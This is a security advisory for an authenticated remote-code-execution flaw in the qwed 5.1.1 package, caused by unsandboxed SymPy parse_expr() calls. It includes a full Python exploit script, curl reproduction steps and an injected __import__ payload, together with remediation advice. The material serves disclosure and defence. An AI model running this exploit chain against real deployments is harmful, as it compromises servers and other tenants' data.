CVE-2026-55585: QWED: Authenticated Remote Code Execution via Unsafe SymPy `parse_expr()`
Summary
The qwed package (version 5.1.1) passes attacker-controlled input directly to SymPy's parseexpr() function without a restricted namespace. Because parseexpr() internally calls Python's eval(), any authenticated tenant can execute arbitrary Python code inside the API server process. The attack requires only a standard user account, which is freely obtainable through the default-enabled /auth/signup endpoint. Successful exploitation gives the attacker full read/write access to the filesystem and the ability to execute operating system commands, resulting in complete server compromise.
Details
The vulnerability exists in two independently reachable code paths:
Primary sink — POST /verify/math
src/qwednew/api/main.py:442 defines the /verify/math route, protected only by getcurrenttenant (line 444), which accepts any valid tenant API key. The request body field expression is read at line 463 and passed through a cosmetic regex normalization at line 495 (re.sub(r'(\d)(\()', r'\1\2', expression)) that performs no security validation. The normalized string is then passed directly to parseexpr() at line 504:
python src/qwednew/api/main.py expression = request.get("expression") ... expressionnormalized = re.sub(r'(\d)(\()', r'\1\2', expression) ... parsed = parseexpr(expressionnormalized) # line 504 — unsandboxed eval
Secondary sink — POST /verify/batch
src/qwednew/api/main.py:1481 defines the /verify/batch route. Batch items flow through batchservice.createjob() (line 1517) into batch.py:132 where item.query is stored verbatim, then processed by verifyitem() (line 167). When the item type is VerificationType.MATH (line 222), the expression is passed to parseexpr() at line 239 with no sanitization:
python src/qwednew/core/batch.py expression = item.query ... parsed = parseexpr(expression) # line 239 — unsandboxed eval
parseexpr() accepts a globaldict and localdict parameter that, when set to {"builtins": {}} and an allowlist respectively, restrict what names are accessible during evaluation. Neither call site sets these parameters, leaving the full Python built-in namespace available to the attacker.
PoC
Environment setup (Docker)
bash Build from repository root (one level above vuln-001/) docker build -t qwed-vuln-001 -f vuln-001/Dockerfile .
Run the server (binds to localhost:8765) docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
The Dockerfile installs qwed from the local repository source with all dependencies and starts the server with the following environment:
- QWEDJWTSECRETKEY=test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789 - APIKEYSECRET=test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789 - QWEDCORSORIGINS=http://localhost - QWEDSKIPENVINTEGRITYCHECK=true - DATABASEURL=sqlite:////tmp/qwed-poc.db
Automated exploit (poc.py)
bash python3 vuln-001/poc.py --host 127.0.0.1 --port 8765
The script performs three steps:
1. Register an account — POST /auth/signup with arbitrary email/password/organization (no invite code or admin approval required). 2. Obtain an API key — POST /auth/api-keys using the JWT returned from signup. 3. Send the RCE payload — POST /verify/math with the x-api-key header and the expression:
import('pathlib').Path('/tmp/qwedparseexprrce').writetext('pwnedbyparseexprrce')
Expected output
[+] Server is ready. [+] Account created; JWT bearer token obtained. [+] API key (first 20 chars): qwedliveWwNm86Fpnh... [] expression = import('pathlib').Path('/tmp/qwedparseexprrce').writetext('pwnedbyparseexprrce') [] HTTP status : 200 [] HTTP response: {"isvalid": true, "value": 23.0, "simplified": "23", "original": "23"} [PASS] HTTP 200 returned — payload evaluated without error.
The server returns HTTP 200 and {"value": 23.0} — the return value of writetext() (23 bytes written), cast by SymPy to Integer(23). This proves the Python expression was executed inside the server process.
Decisive verification
bash docker exec qwed-vuln-001 cat /tmp/qwedparseexprrce Expected: pwnedbyparseexprrce
The same technique applies to POST /verify/batch by submitting a batch job with a math item whose query field contains the payload; a separate marker file /tmp/qwedbatchparseexprrce was also confirmed during dynamic testing.
Manual curl reproduction (no Python script)
bash Step 1: sign up and capture JWT TOKEN=$(curl -sS -X POST http://127.0.0.1:8765/auth/signup \ -H 'Content-Type: application/json' \ -d '{"email":"poc@example.com","password":"Password123!","organizationname":"poc-org"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["accesstoken"])')
Step 2: create API key APIKEY=$(curl -sS -X POST http://127.0.0.1:8765/auth/api-keys \ -H 'Content-Type: application/json' \ -H "Authorization: Bearer $TOKEN" \ -d '{"name":"poc"}' \ | python3 -c 'import sys,json; print(json.load(sys.stdin)["key"])')
Step 3: send payload rm -f /tmp/qwedparseexprrce curl -sS -X POST http://127.0.0.1:8765/verify/math \ -H 'Content-Type: application/json' \ -H "x-api-key: $APIKEY" \ -d '{"expression":"import('"'"'pathlib'"'"').Path('"'"'/tmp/qwedparseexprrce'"'"').writetext('"'"'owned'"'"')"}'
Step 4: confirm file was written by the server process cat /tmp/qwedparseexprrce Expected: owned
Impact
This is an Authenticated Remote Code Execution vulnerability. Any user who can create a tenant account (which is possible by default, since /auth/signup requires no invitation or administrator approval) can execute arbitrary Python code inside the API server process with the privileges of the server's operating system user.
Concrete impact includes:
- Confidentiality — read any file accessible to the server process (environment variables, secret keys, database contents, source code). - Integrity — write or overwrite any file accessible to the server process, modify database records, plant backdoors. - Availability — terminate the server process, exhaust resources, corrupt persistent storage.
In a shared multi-tenant deployment, a single tenant can compromise the entire server, affecting all other tenants' data. In a containerized deployment, the immediate impact is container-level compromise; lateral movement depends on the container's network and volume configuration.
Reproduction artifacts
Dockerfile
dockerfile VULN-001 Reproduction Environment Authenticated RCE via Unsafe SymPy parseexpr() in QWED 5.1.1 Build from the repo root (one level above vuln-001/): docker build -t qwed-vuln-001 -f vuln-001/Dockerfile . Run: docker run -d -p 127.0.0.1:8765:8765 --name qwed-vuln-001 qwed-vuln-001
FROM python:3.12-slim-bookworm
ENV PYTHONDONTWRITEBYTECODE=1 \ PYTHONUNBUFFERED=1
WORKDIR /app
Install minimal build dependencies required by some native extensions RUN apt-get update \ && apt-get install -y --no-install-recommends gcc g++ \ && apt-get clean \ && rm -rf /var/lib/apt/lists/
Copy the repository source COPY repo/ /app/repo/
Install hatchling build backend, then install the package with all dependencies z3-solver==4.13.3.0 is pinned in pyproject.toml; wheels are available for CPython 3.12 RUN pip install --no-cache-dir --upgrade pip hatchling \ && pip install --no-cache-dir -e /app/repo
Runtime environment variables — minimal set required to start the server ENV QWEDJWTSECRETKEY="test-jwt-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ APIKEYSECRET="test-api-key-secret-abcdefghijklmnopqrstuvwxyz0123456789" \ QWEDCORSORIGINS="http://localhost" \ QWEDSKIPENVINTEGRITYCHECK="true" \ DATABASEURL="sqlite:////tmp/qwed-poc.db"
EXPOSE 8765
CMD ["python3", "-m", "uvicorn", "qwednew.api.main:app", \ "--host", "0.0.0.0", "--port", "8765", "--log-level", "warning"]
poc.py
python #!/usr/bin/env python3 """ Proof of Concept: Authenticated RCE via Unsafe SymPy parseexpr() — VULN-001
Affected product : QWED 5.1.1 (QWED-AI/qwed-verification) Endpoint : POST /verify/math CWE : CWE-94 — Improper Control of Code Generation CVSS : 8.8 (High) CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Root cause: src/qwednew/api/main.py:504 passes attacker-controlled input directly to sympy.parsing.sympyparser.parseexpr() without a restricted global/local namespace. parseexpr() internally calls eval(), so any valid Python expression — including import() calls — is executed server-side.
Exploit chain: 1. Register an account via POST /auth/signup (open to any user by default) 2. Obtain an API key via POST /auth/api-keys 3. POST /verify/math with expression=<python code> The code runs inside the server process.
Observable evidence: - HTTP 200 response (not 4xx/5xx) proves the payload was evaluated - A marker file is written inside the container; verify with: docker exec <container> cat /tmp/qwedparseexprrce Expected content: "pwnedbyparseexprrce"
Usage: python3 poc.py [--host 127.0.0.1] [--port 8765] """
import argparse import json import sys import time
import requests
Path written inside the server process by the RCE payload RCEMARKERPATH = "/tmp/qwedparseexprrce" Content written to the marker file (must not contain quotes) RCEMARKERCONTENT = "pwnedbyparseexprrce"
def waitforserver(baseurl: str, timeout: int = 90) -> bool: """Poll the server health endpoint until it responds or timeout expires.""" print(f"[] Waiting for server at {baseurl} (up to {timeout}s)...") deadline = time.time() + timeout while time.time() < deadline: try: r = requests.get(f"{baseurl}/health", timeout=2) if r.statuscode < 500: return True except requests.exceptions.ConnectionError: pass time.sleep(2) return False
def signup(baseurl: str) -> str: """ Create an attacker-controlled account and return the JWT bearer token. /auth/signup is enabled by default and requires no prior authorization. """ payload = { "email": "poc-attacker@example.com", "password": "Attacker1234!", "organizationname": "vuln001-attacker-org", } r = requests.post(f"{baseurl}/auth/signup", json=payload, timeout=15) if r.statuscode == 400 and "already registered" in r.text: # Account exists from a previous run; sign in instead signinpayload = { "email": payload["email"], "password": payload["password"], } r = requests.post(f"{baseurl}/auth/signin", json=signinpayload, timeout=15) r.raiseforstatus() token = r.json()["accesstoken"] return token
def createapikey(baseurl: str, bearertoken: str) -> str: """ Create an API key for the attacker account. Returns the plaintext key (shown only once by the API). """ headers = {"Authorization": f"Bearer {bearertoken}"} r = requests.post( f"{baseurl}/auth/api-keys", json={"name": "vuln001-poc"}, headers=headers, timeout=15, ) r.raiseforstatus() return r.json()["key"]
def exploit(baseurl: str, apikey: str) -> dict: """ Send the RCE payload to POST /verify/math.
The expression uses pathlib.Path.writetext() which: - Writes RCEMARKERCONTENT to RCEMARKERPATH inside the server process - Returns an integer (bytes written) that parseexpr() can handle without raising an exception, making the side-effect transparent to the caller
The absence of an error and a 200 status code proves code execution. """ expression = ( f"import('pathlib')" f".Path('{RCEMARKERPATH}')" f".writetext('{RCEMARKERCONTENT}')" ) headers = { "Content-Type": "application/json", "x-api-key": apikey, } r = requests.post( f"{baseurl}/verify/math", json={"expression": expression}, headers=headers, timeout=20, ) contenttype = r.headers.get("content-type", "") body = r.json() if "application/json" in contenttype else r.text return {"statuscode": r.statuscode, "body": body}
def main() -> None: parser = argparse.ArgumentParser( description="PoC for VULN-001: Authenticated RCE via SymPy parseexpr() in QWED 5.1.1" ) parser.addargument("--host", default="127.0.0.1", help="API server host") parser.addargument("--port", type=int, default=8765, help="API server port") args = parser.parseargs()
baseurl = f"http://{args.host}:{args.port}"
# ── Step 0: wait for server ────────────────────────────────────────────── if not waitforserver(baseurl): print("[FAIL] Server did not become ready within the timeout.") sys.exit(1) print("[+] Server is ready.\n")
# ── Step 1: sign up ────────────────────────────────────────────────────── print("[] Step 1/3: Creating attacker account via POST /auth/signup") bearertoken = signup(baseurl) print("[+] Account created; JWT bearer token obtained.\n")
# ── Step 2: API key ────────────────────────────────────────────────────── print("[] Step 2/3: Obtaining API key via POST /auth/api-keys") apikey = createapikey(baseurl, bearertoken) print(f"[+] API key (first 20 chars): {apikey[:20]}...\n")
# ── Step 3: exploit ────────────────────────────────────────────────────── rceexpression = ( f"import('pathlib')" f".Path('{RCEMARKERPATH}')" f".writetext('{RCEMARKERCONTENT}')" ) print("[] Step 3/3: Sending RCE payload to POST /verify/math") print(f" expression = {rceexpression}\n")
result = exploit(baseurl, apikey)
print(f"[] HTTP status : {result['statuscode']}") print(f"[] HTTP response:\n{json.dumps(result['body'], indent=2)}\n")
if result["statuscode"] == 200: print("=" 60) print("[PASS] HTTP 200 returned — payload evaluated without error.") print(f" The server wrote '{RCEMARKERCONTENT}' to {RCEMARKERPATH}") print() print(" Verify decisive evidence inside the container:") print(f" docker exec qwed-vuln-001 cat {RCEMARKERPATH}") print("=" 60) sys.exit(0) else: print(f"[FAIL] Unexpected HTTP {result['statuscode']} — exploit did not succeed.") sys.exit(2)
if name == "main": main()
Other sources
QWED is open-source AI verification infrastructure for deterministic verification of LLM outputs, tool calls, code, schemas, and agent state before production execution. Prior to 5.1.2, the qwed package passes caller-controlled math expressions directly to SymPy parseexpr() without restricted globaldict and localdict namespaces, allowing Python eval() to resolve builtins and execute arbitrary Python code in the API server process. In src/qwednew/api/main.py, POST /verify/math is protected by getcurrenttenant but accepts any valid tenant API key, reads the expression field, applies only a cosmetic re.sub(r'(\d)(()', r'\1\2', expression) normalization, and passes the result to parseexpr(). In src/qwednew/core/batch.py, POST /verify/batch sends math items through batchservice.createjob(), stores item.query verbatim, and verifyitem() passes VerificationType.MATH input to parseexpr() without sanitization. The default-enabled POST /auth/signup endpoint allows anyone to create a standard tenant account, POST /auth/api-keys issues an x-api-key, and either vulnerable path can then be used to read or write files, modify data, execute operating system commands, terminate the service, and compromise other tenants in a shared deployment. This issue is fixed in version 5.1.2.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/qwedto a version that resolves this vulnerability.Fixed in 5.1.2 - Upgrade
Upgrade
QWED 5.1.1 (QWED-AI/qwed-verification)to a version that resolves this vulnerability.Fixed in 5.1.2 - Configuration
In QWED code paths that call SymPy parse_expr() for MATH verification (e.g., src/qwed_new/api/main.py:442 and src/qwed_new/api/main.py:1481 via /verify/batch), restrict evaluation by setting parse_expr() global_dict to {"__builtins__": {}} and using an allowlist for local_dict, so attacker-controlled expressions cannot access Python builtins (and thus cannot use __import__).
QWED SymPy parse_expr usage parse_expr global_dict/local_dict = {"__builtins__": {}} with an allowlist - Compensating control
Use an authenticated/authorization model for /auth/signup and/or tenant API key issuance so that only administrators or invited users can create tenant accounts and API keys; in particular, prevent arbitrary users from creating tenants via the default-enabled POST /auth/signup endpoint, since any created tenant can execute the unsafe /verify/math or /verify/batch paths.
Event History
Frequently Asked Questions
Who can exploit this issue?
Any authenticated tenant with a valid tenant API key can exploit it. Under the default configuration, a standard user can obtain an account through the default-enabled /auth/signup endpoint.
What access does successful exploitation provide?
The attacker can execute arbitrary Python code in the API server process. This provides read/write filesystem access and the ability to run operating system commands, resulting in complete server compromise.
How can I determine whether my deployment is affected?
The affected package version identified is qwed 5.1.1. In that version, attacker-controlled expressions reaching POST /verify/math are passed to SymPy parse_expr() without a restricted namespace.